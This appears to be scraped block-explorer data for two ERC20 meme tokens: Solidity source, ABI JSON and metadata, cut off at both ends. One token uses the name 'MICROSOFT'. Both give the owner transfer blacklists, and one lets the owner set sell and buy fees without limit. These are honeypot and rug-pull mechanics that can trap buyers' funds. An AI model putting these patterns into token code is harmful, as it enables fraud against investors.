_reduceSellTaxAt=20; uint256 private _preventSwapBefore=30; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000000 * 10**_decimals; string private constant _name = unicode"MICROSOFT"; string private constant _symbol = unicode"MSFT"; uint256 public _maxTxAmount = 2000000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000000 * 10**_decimals; uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals; uint256 public _maxTaxSwap= 1000000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < 3, "Only 3 sells per block!"); swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.23+commit.f704f362

Default

MIT

ipfs://2e310d87af84cfa5f0331d4f72b681dfe1dbf2acb5657e69850980b7f5f472ee

WOJAK

WOJAK.sol

0xfa980fcccaa686477e395096561a2bcbdaebbec7

Solidity

/* Create your own Wojack with Wojak Paradise, $WOJAK https://wojakparadise.net/wojak/208 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-allowance}. */ function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer( address to, uint256 amount ) external virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve( address spender, uint256 amount ) external virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) external virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance( address spender, uint256 subtractedValue ) external virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance( address spender, uint256 addedValue ) external virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); } } contract WOJAK is ERC20, Ownable { mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _sniper; address public _marketingWallet = 0x72a5eF1D1B13db27BD60D6D8c0ad9ea2C72003EF; address public _devWallet = 0x72a5eF1D1B13db27BD60D6D8c0ad9ea2C72003EF; uint256 public feesBuy = 1000; uint256 public _feesM = 5000; uint256 public _feesLp = 0; uint256 public _feesDev = 0; uint256 public feesSellTotal = _feesLp + _feesM + _feesDev; uint256 public _maxWallet; uint256 public _minTokensBeforeSwapping = 600; IUniswapV2Router public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool public started; bool inSwapAndLiquify; modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() ERC20("WOJAK PARADISE", "WOJAK") { uint256 startSupply = 0.001e9 * 10 ** decimals(); _mint(msg.sender, (startSupply)); IUniswapV2Router _uniswapV2Router = IUniswapV2Router( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[address(uniswapV2Router)] = true; _isExcludedFromFee[msg.sender] = true; _maxWallet = startSupply/100; _approve(msg.sender, address(uniswapV2Router), type(uint256).max); _approve(address(this), address(uniswapV2Router), type(uint256).max); } function openTrading() external onlyOwner { started = true; } function removeSnipers(address[] calldata accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _sniper[accounts[i]] = false; } } function addSnipers(address[] calldata accounts) external onlyOwner { uint256 len = accounts.length; for(uint256 i = 0; i < len;) { _sniper[accounts[i]] = true; unchecked { i++; } } } function _transfer( address from, address to, uint256 amount ) internal override { require(!_sniper[from], "Sniper rejected"); if ( _isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwapAndLiquify ) { super._transfer(from, to, amount); } else { require(started, "Not open yet"); uint taxAmount; if (to == uniswapV2Pair) { uint256 bal = balanceOf(address(this)); uint256 threshold = balanceOf(uniswapV2Pair) * _minTokensBeforeSwapping / 10000; if ( bal >= threshold ) { if (bal >= 3 * threshold) bal = 3 * threshold; _swapAndLiquify(bal); } taxAmount = amount * feesSellTotal / 10000; } else if (from == uniswapV2Pair) { taxAmount = amount * feesBuy / 10000; require( balanceOf(to) + amount - taxAmount <= _maxWallet, "Transfer amount exceeds max wallet" ); } else { require( balanceOf(to) + amount <= _maxWallet, "Transfer amount exceeds max wallet" ); } super._transfer(from, to, amount - taxAmount); if (taxAmount > 0) { super._transfer(from, address(this), taxAmount); } } } function _swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 _feesSellTotal = feesSellTotal; if (_feesSellTotal == 0) return; uint256 feeTotal = _feesSellTotal - _feesLp / 2; uint256 toSell = contractTokenBalance * feeTotal / _feesSellTotal; _swapTokensForEth(toSell); uint256 balance = address(this).balance; uint256 toDev = balance * _feesDev / feeTotal; uint256 toMarketing = balance * _feesM / feeTotal; if (_feesLp > 0) { _addLiquidity( contractTokenBalance - toSell, balance - toDev - toMarketing ); } if (toMarketing > 0) { payable(_marketingWallet).transfer(toMarketing); } if (address(this).balance > 0) { payable(_devWallet).transfer(address(this).balance); } } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), (block.timestamp) ); } function _addLiquidity( uint256 tokenAmount, uint256 ethAmount ) private lockTheSwap { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function getStatus(address a) external view returns(bool) { return _sniper[a]; } function setDevWallet(address newWallet) external onlyOwner { _devWallet = newWallet; } function setMarketingWallet(address newWallet) external onlyOwner { _marketingWallet = newWallet; } function setMinTokens(uint256 newValue) external onlyOwner { _minTokensBeforeSwapping = newValue; } function excludeFromFees(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { _isExcludedFromFee[addresses[i]] = true; } } function includeInFees(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { _isExcludedFromFee[addresses[i]] = false; } } function editBuyFees(uint256 newValue) external onlyOwner { feesBuy = newValue; } function editSellFees( uint256 __feesDev, uint256 __feesLp, uint256 __feesM ) external onlyOwner { _feesDev = __feesDev; _feesLp = __feesLp; _feesM = __feesM; feesSellTotal = __feesDev + __feesLp + __feesM; } function setMaxWallet(uint256 __maxWallet) external onlyOwner { _maxWallet = __maxWallet; } function getStuckETH() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function getStuckTokens( IERC20 tokenAddress, address walletAddress, uint256 amt ) external onlyOwner { uint256 bal = tokenAddress.balanceOf(address(this)); IERC20(tokenAddress).transfer( walletAddress, amt > bal ? bal : amt ); } receive() external payable {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feesDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feesLp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feesM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTokensBeforeSwapping","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addSnipers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"editBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"__feesDev","type":"uint256"},{"internalType":"uint256","name":"__feesLp","type":"uint256"},{"internalType":"uint256","name":"__feesM","type":"uint256"}],"name":"editSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSellTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"getStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"tokenAddress","type":"address"},{"internalType":"address","name":"walletAddress","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"getStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"includeInFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"removeSnipers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"setDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"__maxWallet","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMinTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"started","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","ou